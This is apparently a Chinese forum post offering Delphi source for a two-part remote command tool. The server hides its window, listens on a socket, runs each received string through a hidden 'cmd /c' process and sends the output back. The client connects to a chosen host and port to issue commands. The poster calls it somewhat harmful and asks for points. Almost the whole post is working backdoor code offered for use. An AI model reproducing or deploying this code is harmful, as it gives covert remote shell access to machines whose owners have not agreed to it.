源码文件不发了。。。想弄的自己编译。。有点危害性。。。 老西给分啊。。。。。。。。。。。。 
服务端 unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp, ExtCtrls;
type
TForm1 = class(TForm)
mmo1: TMemo;
SS: TServerSocket;
tmr1: TTimer;
procedure mmo1Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure SSClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
procedure tmr1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.mmo1Change(Sender: TObject);
begin
SendMessage(mmo1.Handle,WM_VSCROLL,SB_BOTTOM,0);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.Hide;
try
ss.Active:=True;
except
begin
mmo1.Lines.Add('端口冲突 ');
Application.Terminate;
end;
end;
end;
procedure TForm1.SSClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
Application.MessageBox('打开错误','提示',0);
ErrorCode:=0;
end;
procedure TForm1.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
socket.SendText('我是服务器，我收到请求了，链接成功');//不用解释了吧
end;
procedure TForm1.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
sa:SECURITY_ATTRIBUTES; //安全描述符
hRead,hWrite:THandle; //管道读写指针
//===========================================子进程变量部分
si:STARTUPINFO; //开启信息
pi:PROCESS_INFORMATION; //进程信息
CmdLine:pchar; //完整的cmdline
TmpCmdLine:String; //临时接受的CMDLINE
//=============================================Read部分
ReadBuffer:PChar;
BytesRead:DWORD;
begin
CmdLine:=AllocMem(255);
ReadBuffer:=AllocMem(4096);
mmo1.Clear;
TmpCmdLine:=Socket.ReceiveText;
sa.nLength:=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor:=nil; //使用系统默认的安全描述符
sa.bInheritHandle:=TRUE; //创建的进程继承句柄
if CreatePipe(hRead,hWrite,@sa,0)=False then
begin
Socket.SendText('创建管道失败');
exit
end;
//=======创建子进程部分:
ZeroMemory(@si,sizeof(STARTUPINFO));
si.cb:= sizeof(STARTUPINFO);
GetStartupInfo(si);
si.hStdError:= hWrite;
si.hStdOutput:= hWrite; //新创建进程的标准输出连在写管道一端
si.wShowWindow:= SW_HIDE; //隐藏窗口
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
StrPCopy(CmdLine,'cmd /c '+TmpCmdLine);
if CreateProcess(nil,CmdLine,nil,nil,True,0,nil,nil,si,pi)
=False then
begin
Socket.SendText('不能创建进程');
FreeMem(CmdLine);
exit;
end;
CloseHandle(hWrite); //关闭管道句柄
while(True)do
begin
if not PeekNamedPipe
(hRead,ReadBuffer,4095,@BytesRead,nil,nil) then Break;
if BytesRead<>0 then
begin
if ReadFile
(hRead,ReadBuffer^,4095,BytesRead,nil) then Break;
ReadBuffer[BytesRead]:=chr(0);
mmo1.Lines.Add(ReadBuffer);
end
else
begin
if(WaitForSingleObject(pi.hProcess,0)
=WAIT_OBJECT_0) then Break;
Sleep(100);
end
end;
mmo1.Lines.Add(ReadBuffer);
CloseHandle(hRead);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWrite);
FreeMem(ReadBuffer);
FreeMem(CmdLine);
socket.SendText(mmo1.Text);
end;
procedure TForm1.tmr1Timer(Sender: TObject);
begin
Self.Hide;
tmr1.Enabled:=False;
end;
end.
控制端 unit Unit1;interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp;type
TForm1 = class(TForm)
edt1: TEdit;
edt2: TEdit;
btn1: TButton;
edt3: TEdit;
btn2: TButton;
mmo1: TMemo;
CS: TClientSocket;
procedure mmo1Change(Sender: TObject);
procedure btn1Click(Sender: TObject);
procedure CSError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure btn2Click(Sender: TObject);
procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
procedure CSConnect(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;implementation
{$R *.dfm}procedure TForm1.mmo1Change(Sender: TObject);
begin
SendMessage(mmo1.Handle,WM_VSCROLL,SB_BOTTOM,0);
end;
procedure TForm1.btn1Click(Sender: TObject);
begin
try
cs.Port:=StrToInt(edt2.Text);
cs.Host:=edt1.Text;
cs.Active:=True;
except
Application.MessageBox('发生了一点小错误','提示',0);
end;
end;procedure TForm1.CSError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
mmo1.Lines.Add('链接失败');
ErrorCode:=0;
end;
procedure TForm1.btn2Click(Sender: TObject);
begin
cs.Socket.SendText(edt3.Text);
end;procedure TForm1.CSRead(Sender: TObject; Socket: TCustomWinSocket);
var
s:string;
begin
s:=socket.ReceiveText; //定义S字符 接受socket的接受信息
mmo1.Clear;
mmo1.Lines.Add(s); //文本 编辑框 添加S 就是添加返回信息了
end;
procedure TForm1.CSConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
mmo1.Lines.Add('建立链接成功');
end;end.
